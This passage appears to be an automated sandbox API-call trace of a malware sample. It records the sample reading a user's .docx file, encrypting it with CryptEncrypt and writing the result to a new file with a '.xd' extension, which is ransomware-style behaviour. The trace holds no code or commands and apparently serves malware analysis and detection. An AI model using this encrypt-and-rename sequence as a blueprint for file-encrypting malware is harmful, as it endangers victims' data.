| out: lpMsg=0x130f164) returned 0 [0072.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.956] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\krbduavrp.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0072.957] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.957] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0072.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.957] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp")) returned 0x10 [0072.958] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\krbduavrp.docx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0072.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.960] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0072.960] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.962] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x80b3, lpOverlapped=0x0) returned 1 [0072.981] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0072.984] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.984] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.984] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.984] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0072.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.985] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0072.985] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.985] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0072.985] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.985] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.985] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.985] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0072.985] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0072.986] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0072.986] CryptGetKeyParam (in: hKey=0x164c6b0, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0072.986] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.998] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.998] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.998] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.998] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.999] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.999] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.999] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.999] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.999] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.999] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.999] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.999] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.001] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621768, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.002] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.002] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x180b3, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x180c0) returned 1 [0073.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.002] CharLowerBuffW (in: lpsz="byte[98497]", cchLength=0xb | out: lpsz="byte[98497]") returned 0xb [0073.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.004] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.004] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.004] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.004] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.005] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x186d008*, pdwDataLen=0x130e618*=0x180b3, dwBufLen=0x180c0 | out: pbData=0x186d008*, pdwDataLen=0x130e618*=0x180c0) returned 1 [0073.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.005] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.005] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.005] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.005] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.005] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.005] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.006] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.006] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.006] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.006] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.006] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.011] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.011] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.011] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.012] WriteFile (in: hFile=0x3bc, lpBuffer=0x18850d0*, nNumberOfBytesToWrite=0x180c0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x18850d0*, lpNumberOfBytesWritten=0x130f01c*=0x180c0, lpOverlapped=0x0) returned 1 [0073.013] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.013] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.013] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.013] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.013] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.013] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.013] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.014] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.014] CryptDestroyKey (hKey=0x164c6b0) returned 1 [0073.014] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.014] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.014] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.014] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.014] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.014] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.014] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.014] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.014] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.014] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.014] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.014] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.014] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.014] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.014] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.014] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.014] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.015] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.015] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.015] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.015] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.015] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.015] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.015] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.015] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.015] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.015] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.015] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.015] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.015] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.015] CryptReleaseContext (hProv=0x17aa450, dwFlags=0x0) returned 1 [0073.015] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.015] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.015] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.016] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.016] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.016] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.016] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.016] CloseHandle (hObject=0x2ac) returned 1 [0073.018] PeekMessageW 